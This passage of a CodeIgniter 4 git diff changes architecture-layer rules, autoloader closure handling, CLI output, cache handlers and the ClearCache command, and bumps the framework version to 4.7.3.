'/^CodeIgniter\\Cache\\.*$/' - - name: Controller - collectors: - - type: classNameRegex - value: '/^CodeIgniter\\Controller$/' - - name: Cookie - collectors: - - type: classNameRegex - value: '/^CodeIgniter\\Cookie\\.*$/' - - name: Database - collectors: - - type: classNameRegex - value: '/^CodeIgniter\\Database\\.*$/' - - name: DataCaster - collectors: - - type: classNameRegex - value: '/^CodeIgniter\\DataCaster\\.*$/' - - name: DataConverter - collectors: - - type: classNameRegex - value: '/^CodeIgniter\\DataConverter\\.*$/' - - name: Email - collectors: - - type: classNameRegex - value: '/^CodeIgniter\\Email\\.*$/' - - name: Encryption - collectors: - - type: classNameRegex - value: '/^CodeIgniter\\Encryption\\.*$/' - - name: Entity - collectors: - - type: classNameRegex - value: '/^CodeIgniter\\Entity\\.*$/' - - name: Events - collectors: - - type: classNameRegex - value: '/^CodeIgniter\\Events\\.*$/' - - name: Files - collectors: - - type: classNameRegex - value: '/^CodeIgniter\\Files\\.*$/' - - name: Filters - collectors: - - type: bool - must: - - type: classNameRegex - value: '/^CodeIgniter\\Filters\\Filter.*$/' - - name: Format - collectors: - - type: classNameRegex - value: '/^CodeIgniter\\Format\\.*$/' - - name: Honeypot - collectors: - - type: classNameRegex - # includes the Filter - value: '/^CodeIgniter\\.*Honeypot.*$/' - - name: HTTP - collectors: - - type: bool - must: - - type: classNameRegex - value: '/^CodeIgniter\\HTTP\\.*$/' - must_not: - - type: classNameRegex - value: '(Exception|URI)' - - name: I18n - collectors: - - type: classNameRegex - value: '/^CodeIgniter\\I18n\\.*$/' - - name: Images - collectors: - - type: classNameRegex - value: '/^CodeIgniter\\Images\\.*$/' - - name: Language - collectors: - - type: classNameRegex - value: '/^CodeIgniter\\Language\\.*$/' - - name: Log - collectors: - - type: classNameRegex - value: '/^CodeIgniter\\Log\\.*$/' - - name: Model - collectors: - - type: classNameRegex - value: '/^CodeIgniter\\.*Model$/' - - name: Modules - collectors: - - type: classNameRegex - value: '/^CodeIgniter\\Modules\\.*$/' - - name: Pager - collectors: - - type: classNameRegex - value: '/^CodeIgniter\\Pager\\.*$/' - - name: Publisher - collectors: - - type: classNameRegex - value: '/^CodeIgniter\\Publisher\\.*$/' - - name: RESTful - collectors: - - type: classNameRegex - value: '/^CodeIgniter\\RESTful\\.*$/' - - name: Router - collectors: - - type: classNameRegex - value: '/^CodeIgniter\\Router\\.*$/' - - name: Security - collectors: - - type: classNameRegex - value: '/^CodeIgniter\\Security\\.*$/' - - name: Session - collectors: - - type: classNameRegex - value: '/^CodeIgniter\\Session\\.*$/' - - name: Throttle - collectors: - - type: classNameRegex - value: '/^CodeIgniter\\Throttle\\.*$/' - - name: Typography - collectors: - - type: classNameRegex - value: '/^CodeIgniter\\Typography\\.*$/' - - name: URI - collectors: - - type: classNameRegex - value: '/^CodeIgniter\\HTTP\\URI$/' - - name: Validation - collectors: - - type: bool - must: - - type: classNameRegex - value: '/^CodeIgniter\\Validation\\.*$/' - must_not: - - type: classNameRegex - value: '/^CodeIgniter\\Validation\\FormatRules$/' - - name: View - collectors: - - type: classNameRegex - value: '/^CodeIgniter\\View\\.*$/' - ruleset: - API: - - Format - - HTTP - - Database - - Model - - Pager - - URI - Cache: - - I18n - Controller: - - HTTP - - Validation - Cookie: - - I18n - Database: - - Entity - - Events - - I18n - DataCaster: - - I18n - - URI - - Database - DataConverter: - - DataCaster - Email: - - I18n - - Events - Entity: - - DataCaster - - I18n - Files: - - I18n - Filters: - - HTTP - Honeypot: - - Filters - - HTTP - HTTP: - - Cookie - - Files - - I18n - - Security - - URI - Images: - - Files - - I18n - Model: - - Database - - DataCaster - - DataConverter - - Entity - - I18n - - Pager - - Validation - Pager: - - URI - - View - Publisher: - - Files - - URI - RESTful: - - +API - - +Controller - Router: - - HTTP - - I18n - Security: - - Cookie - - I18n - - Session - - HTTP - Session: - - Cookie - - HTTP - - Database - - I18n - Throttle: - - Cache - - I18n - Validation: - - HTTP - - Database - View: - - Cache - skip_violations: - # Individual class exemptions - CodeIgniter\Cache\ResponseCache: - - CodeIgniter\HTTP\CLIRequest - - CodeIgniter\HTTP\Header - - CodeIgniter\HTTP\IncomingRequest - - CodeIgniter\HTTP\ResponseInterface - CodeIgniter\DataCaster\DataCaster: - - CodeIgniter\Entity\Cast\CastInterface - - CodeIgniter\Entity\Exceptions\CastException - CodeIgniter\DataCaster\Exceptions\CastException: - - CodeIgniter\Entity\Exceptions\CastException - CodeIgniter\DataConverter\DataConverter: - - CodeIgniter\Entity\Entity - CodeIgniter\Entity\Cast\URICast: - - CodeIgniter\HTTP\URI - CodeIgniter\Log\Handlers\ChromeLoggerHandler: - - CodeIgniter\HTTP\ResponseInterface - CodeIgniter\Security\CheckPhpIni: - - CodeIgniter\View\Table - CodeIgniter\View\Table: - - CodeIgniter\Database\BaseResult - CodeIgniter\View\Plugins: - - CodeIgniter\HTTP\URI - - # BC changes that should be fixed - CodeIgniter\HTTP\ResponseTrait: - - CodeIgniter\Pager\PagerInterface - CodeIgniter\HTTP\ResponseInterface: - - CodeIgniter\Pager\PagerInterface - CodeIgniter\HTTP\Response: - - CodeIgniter\Pager\PagerInterface - CodeIgniter\HTTP\RedirectResponse: - - CodeIgniter\Pager\PagerInterface - CodeIgniter\HTTP\DownloadResponse: - - CodeIgniter\Pager\PagerInterface - CodeIgniter\Validation\Validation: - - CodeIgniter\View\RendererInterface diff --git a/phpdoc.dist.xml b/phpdoc.dist.xml index f5a5f247f456..33101eeaa704 100644 --- a/phpdoc.dist.xml +++ b/phpdoc.dist.xml @@ -10,7 +10,7 @@ api/build/ api/cache/ - + system diff --git a/phpunit.xml.dist b/phpunit.dist.xml similarity index 91% rename from phpunit.xml.dist rename to phpunit.dist.xml index a6dba0ff51b3..1de961c91f61 100644 --- a/phpunit.xml.dist +++ b/phpunit.dist.xml @@ -1,7 +1,7 @@ - + + + tests/system + system @@ -51,6 +51,7 @@ system/Test/FeatureTestCase.php + diff --git a/psalm-autoload.php b/psalm-autoload.php index 3eede20f1252..28889db1d642 100644 --- a/psalm-autoload.php +++ b/psalm-autoload.php @@ -24,7 +24,7 @@ $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator( $directory, - RecursiveDirectoryIterator::UNIX_PATHS | RecursiveDirectoryIterator::CURRENT_AS_FILEINFO, + RecursiveDirectoryIterator::UNIX_PATHS | RecursiveDirectoryIterator::CURRENT_AS_FILEINFO | FilesystemIterator::SKIP_DOTS, ), RecursiveIteratorIterator::CHILD_FIRST, ); diff --git a/psalm-baseline.xml b/psalm-baseline.xml index 7a03f82c5e21..7285cab94899 100644 --- a/psalm-baseline.xml +++ b/psalm-baseline.xml @@ -1,22 +1,5 @@ - - - - |parser_callable_string|parser_callable>]]> - |parser_callable_string|parser_callable>]]> - ]]> - - - - - - - - |parser_callable_string|parser_callable>]]> - |parser_callable_string|parser_callable>]]> - ]]> - - + @@ -73,14 +56,6 @@ - - - |parser_callable_string|parser_callable>]]> - |parser_callable_string|parser_callable>]]> - - - - @@ -136,51 +111,6 @@ - - - country]]> - created_at]]> - deleted]]> - email]]> - name]]> - country]]> - created_at]]> - deleted]]> - email]]> - name]]> - - - - - country]]> - created_at]]> - created_at]]> - deleted]]> - email]]> - name]]> - name]]> - name]]> - name]]> - - - - - country]]> - deleted]]> - email]]> - id]]> - name]]> - country]]> - country]]> - deleted]]> - id]]> - name]]> - country]]> - deleted]]> - id]]> - name]]> - - diff --git a/rector.php b/rector.php index 1a78def1c1e2..eeede43de2a7 100644 --- a/rector.php +++ b/rector.php @@ -71,6 +71,7 @@ __DIR__ . '/tests', __DIR__ . '/utils/src', ]) + ->withRootFiles() // do you need to include constants, class aliases or custom autoloader? files listed will be executed ->withBootstrapFiles([ __DIR__ . '/phpstan-bootstrap.php', diff --git a/structarmed.php b/structarmed.php new file mode 100644 index 000000000000..69bfaf1d197f --- /dev/null +++ b/structarmed.php @@ -0,0 +1,152 @@ + + * + * For the full copyright and license information, please view + * the LICENSE file that was distributed with this source code. + */ + +use CodeIgniter\Cache\ResponseCache; +use CodeIgniter\HTTP\CLIRequest; +use CodeIgniter\HTTP\Header; +use CodeIgniter\HTTP\IncomingRequest; +use CodeIgniter\HTTP\ResponseInterface; +use CodeIgniter\DataCaster\DataCaster; +use CodeIgniter\Entity\Cast\CastInterface; +use CodeIgniter\Entity\Exceptions\CastException; +use CodeIgniter\DataConverter\DataConverter; +use CodeIgniter\Entity\Entity; +use CodeIgniter\Entity\Cast\URICast; +use CodeIgniter\HTTP\URI; +use CodeIgniter\Log\Handlers\ChromeLoggerHandler; +use CodeIgniter\Security\CheckPhpIni; +use CodeIgniter\View\Table; +use CodeIgniter\Database\BaseResult; +use CodeIgniter\View\Plugins; +use CodeIgniter\HTTP\ResponseTrait; +use CodeIgniter\Pager\PagerInterface; +use CodeIgniter\HTTP\Response; +use CodeIgniter\HTTP\RedirectResponse; +use CodeIgniter\HTTP\DownloadResponse; +use CodeIgniter\Validation\Validation; +use CodeIgniter\View\RendererInterface; +use Boundwize\StructArmed\Architecture; +use Boundwize\StructArmed\Preset\Preset; +use Boundwize\StructArmed\Preset\Presets\Psr4Preset; + +return Architecture::define() + ->skip([ + Psr4Preset::CLASSES_MUST_MATCH_COMPOSER => [ + __DIR__ . '/tests/system/Config/fixtures', + ], + __DIR__ . '/system/ThirdParty', + ]) + ->cacheDirectory(is_dir('/tmp') ? '/tmp/structarmed' : null) + ->withPreset(Preset::PSR4()) + // Resolve CodeIgniter layers from class names because several layers share directories. + ->layerPattern('API', '/^CodeIgniter\\\\API\\\\.*$/') + ->layerPattern('Cache', '/^CodeIgniter\\\\Cache\\\\.*$/') + ->layerPattern('Controller', '/^CodeIgniter\\\\Controller$/') + ->layerPattern('Cookie', '/^CodeIgniter\\\\Cookie\\\\.*$/') + ->layerPattern('Database', '/^CodeIgniter\\\\Database\\\\.*$/') + ->layerPattern('DataCaster', '/^CodeIgniter\\\\DataCaster\\\\.*$/') + ->layerPattern('DataConverter', '/^CodeIgniter\\\\DataConverter\\\\.*$/') + ->layerPattern('Email', '/^CodeIgniter\\\\Email\\\\.*$/') + ->layerPattern('Encryption', '/^CodeIgniter\\\\Encryption\\\\.*$/') + ->layerPattern('Entity', '/^CodeIgniter\\\\Entity\\\\.*$/') + ->layerPattern('Events', '/^CodeIgniter\\\\Events\\\\.*$/') + ->layerPattern('Files', '/^CodeIgniter\\\\Files\\\\.*$/') + ->layerPattern('Filters', '/^CodeIgniter\\\\Filters\\\\Filter.*$/') + ->layerPattern('Format', '/^CodeIgniter\\\\Format\\\\.*$/') + ->layerPattern('Honeypot', '/^CodeIgniter\\\\.*Honeypot.*$/') + ->layerPattern('URI', '/^CodeIgniter\\\\HTTP\\\\URI$/') + ->layerPattern('HTTP', '/^CodeIgniter\\\\HTTP\\\\.*$/', '/(Exception|URI)/') + ->layerPattern('I18n', '/^CodeIgniter\\\\I18n\\\\.*$/') + ->layerPattern('Images', '/^CodeIgniter\\\\Images\\\\.*$/') + ->layerPattern('Language', '/^CodeIgniter\\\\Language\\\\.*$/') + ->layerPattern('Log', '/^CodeIgniter\\\\Log\\\\.*$/') + ->layerPattern('Model', '/^CodeIgniter\\\\.*Model$/') + ->layerPattern('Modules', '/^CodeIgniter\\\\Modules\\\\.*$/') + ->layerPattern('Pager', '/^CodeIgniter\\\\Pager\\\\.*$/') + ->layerPattern('Publisher', '/^CodeIgniter\\\\Publisher\\\\.*$/') + ->layerPattern('RESTful', '/^CodeIgniter\\\\RESTful\\\\.*$/') + ->layerPattern('Router', '/^CodeIgniter\\\\Router\\\\.*$/') + ->layerPattern('Security', '/^CodeIgniter\\\\Security\\\\.*$/') + ->layerPattern('Session', '/^CodeIgniter\\\\Session\\\\.*$/') + ->layerPattern('Throttle', '/^CodeIgniter\\\\Throttle\\\\.*$/') + ->layerPattern('Typography', '/^CodeIgniter\\\\Typography\\\\.*$/') + ->layerPattern('Validation', '/^CodeIgniter\\\\Validation\\\\.*$/', '/^CodeIgniter\\\\Validation\\\\FormatRules$/') + ->layerPattern('View', '/^CodeIgniter\\\\View\\\\.*$/') + ->ruleset([ + 'API' => ['Format', 'HTTP', 'Database', 'Model', 'Pager', 'URI'], + 'Cache' => ['I18n'], + 'Controller' => ['HTTP', 'Validation'], + 'Cookie' => ['I18n'], + 'Database' => ['Entity', 'Events', 'I18n'], + 'DataCaster' => ['I18n', 'URI', 'Database'], + 'DataConverter' => ['DataCaster'], + 'Email' => ['I18n', 'Events'], + 'Entity' => ['DataCaster', 'I18n'], + 'Files' => ['I18n'], + 'Filters' => ['HTTP'], + 'Honeypot' => ['Filters', 'HTTP'], + 'HTTP' => ['Cookie', 'Files', 'I18n', 'Security', 'URI'], + 'Images' => ['Files', 'I18n'], + 'Model' => ['Database', 'DataCaster', 'DataConverter', 'Entity', 'I18n', 'Pager', 'Validation'], + 'Pager' => ['URI', 'View'], + 'Publisher' => ['Files', 'URI'], + // +API = API + its allowed layers; +Controller = Controller + its allowed layers + 'RESTful' => ['API', 'Controller', 'Database', 'Format', 'HTTP', 'Model', 'Pager', 'URI', 'Validation'], + 'Router' => ['HTTP', 'I18n'], + 'Security' => ['Cookie', 'HTTP', 'I18n', 'Session'], + 'Session' => ['Cookie', 'Database', 'HTTP', 'I18n'], + 'Throttle' => ['Cache', 'I18n'], + 'Validation' => ['Database', 'HTTP'], + 'View' => ['Cache'], + ]) + ->skipPathsForRuleset(['*test*']) + // Skip violations for class-specific dependencies. + ->skipClassViolation(ResponseCache::class, [ + CLIRequest::class, + Header::class, + IncomingRequest::class, + ResponseInterface::class, + ]) + ->skipClassViolation(DataCaster::class, [ + CastInterface::class, + CastException::class, + ]) + ->skipClassViolation(\CodeIgniter\DataCaster\Exceptions\CastException::class, [ + CastException::class, + ]) + ->skipClassViolation(DataConverter::class, [ + Entity::class, + ]) + ->skipClassViolation(URICast::class, [ + URI::class, + ]) + ->skipClassViolation(ChromeLoggerHandler::class, [ + ResponseInterface::class, + ]) + ->skipClassViolation(CheckPhpIni::class, [ + Table::class, + ]) + ->skipClassViolation(Table::class, [ + BaseResult::class, + ]) + ->skipClassViolation(Plugins::class, [ + URI::class, + ]) + + // BC changes that should be fixed + ->skipClassViolation(ResponseTrait::class, [PagerInterface::class]) + ->skipClassViolation(ResponseInterface::class, [PagerInterface::class]) + ->skipClassViolation(Response::class, [PagerInterface::class]) + ->skipClassViolation(RedirectResponse::class, [PagerInterface::class]) + ->skipClassViolation(DownloadResponse::class, [PagerInterface::class]) + ->skipClassViolation(Validation::class, [RendererInterface::class]); diff --git a/system/Autoloader/Autoloader.php b/system/Autoloader/Autoloader.php index 65c535e8611e..4666149f27e9 100644 --- a/system/Autoloader/Autoloader.php +++ b/system/Autoloader/Autoloader.php @@ -13,6 +13,7 @@ namespace CodeIgniter\Autoloader; +use Closure; use CodeIgniter\Exceptions\ConfigException; use CodeIgniter\Exceptions\InvalidArgumentException; use CodeIgniter\Exceptions\RuntimeException; @@ -93,6 +94,18 @@ class Autoloader */ protected $helpers = ['url']; + /** + * Stores the closures registered with spl_autoload_register() + * so that unregister() can remove the exact same instances. + * + * @var list + */ + private array $registeredClosures = []; + + public function __construct(private readonly string $composerPath = COMPOSER_PATH) + { + } + /** * Reads in the configuration array (described above) and stores * the valid parts that we'll need. @@ -127,7 +140,7 @@ public function initialize(Autoload $config, Modules $modules) $this->helpers = [...$this->helpers, ...$config->helpers]; } - if (is_file(COMPOSER_PATH)) { + if (is_file($this->composerPath)) { $this->loadComposerAutoloader($modules); } @@ -139,11 +152,11 @@ private function loadComposerAutoloader(Modules $modules): void // The path to the vendor directory. // We do not want to enforce this, so set the constant if Composer was used. if (! defined('VENDORPATH')) { - define('VENDORPATH', dirname(COMPOSER_PATH) . DIRECTORY_SEPARATOR); + define('VENDORPATH', dirname($this->composerPath) . DIRECTORY_SEPARATOR); } /** @var ClassLoader $composer */ - $composer = include COMPOSER_PATH; + $composer = include $this->composerPath; // Should we load through Composer's namespaces, also? if ($modules->discoverInComposer) { @@ -166,8 +179,17 @@ private function loadComposerAutoloader(Modules $modules): void */ public function register() { - spl_autoload_register($this->loadClassmap(...), true); - spl_autoload_register($this->loadClass(...), true); + // Store the exact Closure instances so unregister() can remove them. + // First-class callable syntax (e.g. $this->loadClass(...)) creates a + // new Closure object on every call, so we must reuse the same instances. + $loadClassmap = $this->loadClassmap(...); + $loadClass = $this->loadClass(...); + + $this->registeredClosures[] = $loadClassmap; + $this->registeredClosures[] = $loadClass; + + spl_autoload_register($loadClassmap, true); + spl_autoload_register($loadClass, true); foreach ($this->files as $file) { $this->includeFile($file); @@ -179,8 +201,11 @@ public function register() */ public function unregister(): void { - spl_autoload_unregister($this->loadClass(...)); - spl_autoload_unregister($this->loadClassmap(...)); + foreach ($this->registeredClosures as $closure) { + spl_autoload_unregister($closure); + } + + $this->registeredClosures = []; } /** @@ -451,14 +476,12 @@ private function loadComposerNamespaces(ClassLoader $composer, array $composerPa */ protected function discoverComposerNamespaces() { - if (! is_file(COMPOSER_PATH)) { + if (! is_file($this->composerPath)) { return; } - /** - * @var ClassLoader $composer - */ - $composer = include COMPOSER_PATH; + /** @var ClassLoader $composer */ + $composer = include $this->composerPath; $paths = $composer->getPrefixesPsr4(); $classes = $composer->getClassMap(); diff --git a/system/Autoloader/FileLocator.php b/system/Autoloader/FileLocator.php index f67708a4e836..50015b5b7341 100644 --- a/system/Autoloader/FileLocator.php +++ b/system/Autoloader/FileLocator.php @@ -330,19 +330,7 @@ public function listFiles(string $path): array helper('filesystem'); foreach ($this->getNamespaces() as $namespace) { - $fullPath = $namespace['path'] . $path; - $resolvedPath = realpath($fullPath); - $fullPath = $resolvedPath !== false ? $resolvedPath : $fullPath; - - if (! is_dir($fullPath)) { - continue; - } - - $tempFiles = get_filenames($fullPath, true, false, false); - - if ($tempFiles !== []) { - $files = array_merge($files, $tempFiles); - } + $files = array_merge($files, get_filenames($namespace['path'] . $path, true, false, false)); } return $files; diff --git a/system/BaseModel.php b/system/BaseModel.php index b9d21d5a974c..d40a662724d9 100644 --- a/system/BaseModel.php +++ b/system/BaseModel.php @@ -653,7 +653,7 @@ public function findColumn(string $columnName) */ public function findAll(?int $limit = null, int $offset = 0) { - $limitZeroAsAll = config(Feature::class)->limitZeroAsAll ?? true; + $limitZeroAsAll = config(Feature::class)->limitZeroAsAll ?? true; // @phpstan-ignore nullCoalesce.property if ($limitZeroAsAll) { $limit ??= 0; } diff --git a/system/Boot.php b/system/Boot.php index 4e0c94ddd19e..d3b25895093b 100644 --- a/system/Boot.php +++ b/system/Boot.php @@ -205,7 +205,7 @@ public static function preload(Paths $paths): void protected static function loadDotEnv(Paths $paths): void { require_once $paths->systemDirectory . '/Config/DotEnv.php'; - $envDirectory = $paths->envDirectory ?? $paths->appDirectory . '/../'; + $envDirectory = $paths->envDirectory ?? $paths->appDirectory . '/../'; // @phpstan-ignore nullCoalesce.property (new DotEnv($envDirectory))->load(); } diff --git a/system/CLI/CLI.php b/system/CLI/CLI.php index d5980bb9bc19..9cdbbbada0b5 100644 --- a/system/CLI/CLI.php +++ b/system/CLI/CLI.php @@ -255,6 +255,7 @@ public static function prompt(string $field, $options = null, $validation = null } static::fwrite(STDOUT, $field . (trim($field) !== '' ? ' ' : '') . $extraOutput . ': '); + static::$lastWrite = 'write'; // Read the input from keyboard. $input = trim(static::$io->input()); @@ -458,7 +459,8 @@ public static function write(string $text = '', ?string $foreground = null, ?str } if (static::$lastWrite !== 'write') { - $text = PHP_EOL . $text; + $text = PHP_EOL . $text; + static::$lastWrite = 'write'; } @@ -473,13 +475,20 @@ public static function write(string $text = '', ?string $foreground = null, ?str public static function error(string $text, string $foreground = 'light_red', ?string $background = null) { // Check color support for STDERR - $stdout = static::$isColored; + $stdout = static::$isColored; + static::$isColored = static::hasColorSupport(STDERR); if ($foreground !== '' || (string) $background !== '') { $text = static::color($text, $foreground, $background); } + if (static::$lastWrite !== 'write') { + $text = PHP_EOL . $text; + + static::$lastWrite = 'write'; + } + static::fwrite(STDERR, $text . PHP_EOL); // return STDOUT color support @@ -769,12 +778,12 @@ public static function generateDimensions() static::$width = (int) $matches[2]; } } - } elseif (($size = exec('stty size')) && preg_match('/(\d+)\s+(\d+)/', $size, $matches)) { + } elseif (($size = exec('stty size 2>/dev/null')) && preg_match('/(\d+)\s+(\d+)/', $size, $matches)) { static::$height = (int) $matches[1]; static::$width = (int) $matches[2]; } else { - static::$height = (int) exec('tput lines'); - static::$width = (int) exec('tput cols'); + static::$height = (int) exec('tput lines 2>/dev/null'); + static::$width = (int) exec('tput cols 2>/dev/null'); } } catch (Throwable $e) { // Reset the dimensions so that the default values will be returned later. diff --git a/system/CLI/Commands.php b/system/CLI/Commands.php index 5630ee0f7b69..8f623d509c0a 100644 --- a/system/CLI/Commands.php +++ b/system/CLI/Commands.php @@ -64,8 +64,6 @@ public function run(string $command, array $params) return EXIT_ERROR; } - // The file would have already been loaded during the - // createCommandList function... $className = $this->commands[$command]['class']; $class = new $className($this->logger, $this); @@ -104,14 +102,10 @@ public function discoverCommands() $locator = service('locator'); $files = $locator->listFiles('Commands/'); - // If no matching command files were found, bail - // This should never happen in unit testing. if ($files === []) { - return; // @codeCoverageIgnore + return; } - // Loop over each file checking to see if a command with that - // alias exists in the class. foreach ($files as $file) { /** @var class-string|false */ $className = $locator->findQualifiedNameFromPath($file); @@ -159,21 +153,20 @@ public function verifyCommand(string $command, array $commands): bool return true; } - $message = lang('CLI.commandNotFound', [$command]); + $message = lang('CLI.commandNotFound', [$command]); + $alternatives = $this->getCommandAlternatives($command, $commands); if ($alternatives !== []) { - if (count($alternatives) === 1) { - $message .= "\n\n" . lang('CLI.altCommandSingular') . "\n "; - } else { - $message .= "\n\n" . lang('CLI.altCommandPlural') . "\n "; - } - - $message .= implode("\n ", $alternatives); + $message = sprintf( + "%s\n\n%s\n %s", + $message, + count($alternatives) === 1 ? lang('CLI.altCommandSingular') : lang('CLI.altCommandPlural'), + implode("\n ", $alternatives), + ); } CLI::error($message); - CLI::newLine(); return false; } diff --git a/system/CLI/GeneratorTrait.php b/system/CLI/GeneratorTrait.php index 62f5ceec09ae..7d66b8b290af 100644 --- a/system/CLI/GeneratorTrait.php +++ b/system/CLI/GeneratorTrait.php @@ -303,9 +303,7 @@ private function normalizeInputClassName(): string $component = singular($this->component); - /** - * @see https://regex101.com/r/a5KNCR/2 - */ + /** @see https://regex101.com/r/a5KNCR/2 */ $pattern = sprintf('/([a-z][a-z0-9_\/\\\\]+)(%s)$/i', $component); if (preg_match($pattern, $class, $matches) === 1) { diff --git a/system/Cache/CacheFactory.php b/system/Cache/CacheFactory.php index e84254142125..b0347ffa2a93 100644 --- a/system/Cache/CacheFactory.php +++ b/system/Cache/CacheFactory.php @@ -49,14 +49,10 @@ class CacheFactory */ public static function getHandler(Cache $config, ?string $handler = null, ?string $backup = null) { - if (! isset($config->validHandlers) || $config->validHandlers === []) { + if ($config->validHandlers === []) { throw CacheException::forInvalidHandlers(); } - if (! isset($config->handler) || ! isset($config->backupHandler)) { - throw CacheException::forNoBackup(); - } - $handler ??= $config->handler; $backup ??= $config->backupHandler; diff --git a/system/Cache/FactoriesCache/FileVarExportHandler.php b/system/Cache/FactoriesCache/FileVarExportHandler.php index 092cd67ebd80..023910c4b17d 100644 --- a/system/Cache/FactoriesCache/FileVarExportHandler.php +++ b/system/Cache/FactoriesCache/FileVarExportHandler.php @@ -21,11 +21,28 @@ public function save(string $key, mixed $val): void { $val = var_export($val, true); + // Two processes may try to create the directory at the same time. + // is_dir() confirms it exists, so suppressing the warning is safe. + if (! is_dir($this->path) && ! @mkdir($this->path, 0777, true) && ! is_dir($this->path)) { + log_message('error', 'FactoriesCache: cannot create cache directory: ' . $this->path); + + return; + } + // Write to temp file first to ensure atomicity $tmp = $this->path . "/{$key}." . uniqid('', true) . '.tmp'; - file_put_contents($tmp, 'path . "/{$key}")) { + log_message('warning', 'FactoriesCache: failed to commit cache file for key: ' . $key); - rename($tmp, $this->path . "/{$key}"); + @unlink($tmp); + } } public function delete(string $key): void diff --git a/system/Cache/Handlers/PredisHandler.php b/system/Cache/Handlers/PredisHandler.php index 94e03773de88..c868f34550e9 100644 --- a/system/Cache/Handlers/PredisHandler.php +++ b/system/Cache/Handlers/PredisHandler.php @@ -65,9 +65,7 @@ public function __construct(Cache $config) { $this->prefix = $config->prefix; - if (isset($config->redis)) { - $this->config = array_merge($this->config, $config->redis); - } + $this->config = array_merge($this->config, $config->redis); } public function initialize(): void @@ -94,10 +92,9 @@ public function get(string $key): mixed } return match ($data['__ci_type']) { - 'array', 'object' => unserialize($data['__ci_value']), - // Yes, 'double' is returned and NOT 'float' + 'array', 'object' => unserialize($data['__ci_value']), 'boolean', 'integer', 'double', 'string', 'NULL' => settype($data['__ci_value'], $data['__ci_type']) ? $data['__ci_value'] : null, - default => null, + default => null, }; } @@ -113,7 +110,7 @@ public function save(string $key, mixed $value, int $ttl = 60): bool case 'boolean': case 'integer': - case 'double': // Yes, 'double' is returned and NOT 'float' + case 'double': case 'string': case 'NULL': break; diff --git a/system/Cache/Handlers/RedisHandler.php b/system/Cache/Handlers/RedisHandler.php index 7ab6e392bfbc..05cae32da440 100644 --- a/system/Cache/Handlers/RedisHandler.php +++ b/system/Cache/Handlers/RedisHandler.php @@ -108,10 +108,9 @@ public function get(string $key): mixed } return match ($data['__ci_type']) { - 'array', 'object' => unserialize($data['__ci_value']), - // Yes, 'double' is returned and NOT 'float' + 'array', 'object' => unserialize($data['__ci_value']), 'boolean', 'integer', 'double', 'string', 'NULL' => settype($data['__ci_value'], $data['__ci_type']) ? $data['__ci_value'] : null, - default => null, + default => null, }; } @@ -127,7 +126,7 @@ public function save(string $key, mixed $value, int $ttl = 60): bool case 'boolean': case 'integer': - case 'double': // Yes, 'double' is returned and NOT 'float' + case 'double': case 'string': case 'NULL': break; diff --git a/system/CodeIgniter.php b/system/CodeIgniter.php index 3e60ebdfb49d..66fe9d0b4983 100644 --- a/system/CodeIgniter.php +++ b/system/CodeIgniter.php @@ -55,7 +55,7 @@ class CodeIgniter /** * The current version of CodeIgniter Framework */ - public const CI_VERSION = '4.7.2'; + public const CI_VERSION = '4.7.3'; /** * App startup time. @@ -186,10 +186,10 @@ public function __construct(App $config) public function initialize() { // Set default locale on the server - Locale::setDefault($this->config->defaultLocale ?? 'en'); + Locale::setDefault($this->config->defaultLocale); // Set default timezone on the server - date_default_timezone_set($this->config->appTimezone ?? 'UTC'); + date_default_timezone_set($this->config->appTimezone); } /** @@ -208,6 +208,29 @@ public function resetForWorkerMode(): void // Reset timing $this->startTime = null; $this->totalTime = 0; + + $this->resetKintForWorkerMode(); + } + + /** + * Resets Kint request-specific state for worker mode. + */ + private function resetKintForWorkerMode(): void + { + if (! CI_DEBUG || ! class_exists(Kint::class, false)) { + return; + } + + $csp = service('csp'); + if ($csp->enabled()) { + RichRenderer::$js_nonce = $csp->getScriptNonce(); + RichRenderer::$css_nonce = $csp->getStyleNonce(); + } else { + RichRenderer::$js_nonce = null; + RichRenderer::$css_nonce = null; + } + + RichRenderer::$needs_pre_render = true; } /** @@ -452,7 +475,7 @@ protected function handleRequest(?RouteCollectionInterface $routes, Cache $cache if ($routeFilters !== null) { $filters->enableFilters($routeFilters, 'before'); - $oldFilterOrder = config(Feature::class)->oldFilterOrder ?? false; + $oldFilterOrder = config(Feature::class)->oldFilterOrder ?? false; // @phpstan-ignore nullCoalesce.property if (! $oldFilterOrder) { $routeFilters = array_reverse($routeFilters); } @@ -521,7 +544,7 @@ protected function handleRequest(?RouteCollectionInterface $routes, Cache $cache } // Execute controller attributes' after() methods AFTER framework filters - if ((config('Routing')->useControllerAttributes ?? true) === true) { + if ((config('Routing')->useControllerAttributes ?? true) === true) { // @phpstan-ignore nullCoalesce.property $this->benchmark->start('route_attributes_after'); $this->response = $this->router->executeAfterAttributes($this->request, $this->response); $this->benchmark->stop('route_attributes_after'); @@ -887,7 +910,7 @@ protected function startController() // Execute route attributes' before() methods // This runs after routing/validation but BEFORE expensive controller instantiation - if ((config('Routing')->useControllerAttributes ?? true) === true) { + if ((config('Routing')->useControllerAttributes ?? true) === true) { // @phpstan-ignore nullCoalesce.property $this->benchmark->start('route_attributes_before'); $attributeResponse = $this->router->executeBeforeAttributes($this->request); $this->benchmark->stop('route_attributes_before'); diff --git a/system/Commands/Cache/ClearCache.php b/system/Commands/Cache/ClearCache.php index e1180c28c6bd..32f9466a4939 100644 --- a/system/Commands/Cache/ClearCache.php +++ b/system/Commands/Cache/ClearCache.php @@ -13,7 +13,6 @@ namespace CodeIgniter\Commands\Cache; -use CodeIgniter\Cache\CacheFactory; use CodeIgniter\CLI\BaseCommand; use CodeIgniter\CLI\CLI; use Config\Cache; @@ -69,22 +68,21 @@ public function run(array $params) $handler = $params[0] ?? $config->handler; if (! array_key_exists($handler, $config->validHandlers)) { - CLI::error($handler . ' is not a valid cache handler.'); + CLI::error(lang('Cache.invalidHandler', [$handler])); - return; + return EXIT_ERROR; } $config->handler = $handler; - $cache = CacheFactory::getHandler($config); - if (! $cache->clean()) { - // @codeCoverageIgnoreStart + if (! service('cache', $config)->clean()) { CLI::error('Error while clearing the cache.'); - return; - // @codeCoverageIgnoreEnd + return EXIT_ERROR; } CLI::write(CLI::color('Cache cleared.', 'green')); + + return EXIT_SUCCESS; } } diff --git a/system/Commands/Database/ShowTableInfo.php b/system/Commands/Database/ShowTableInfo.php index 390bf586c51b..d05159b1b10a 100644 --- a/system/Commands/Database/ShowTableInfo.php +++ b/system/Commands/Database/ShowTableInfo.php @@ -241,9 +241,11 @@ private function showAllTables(array $tables) */ private function makeTbodyForShowAllTables(array $tables): array { + $this->tbody = []; + 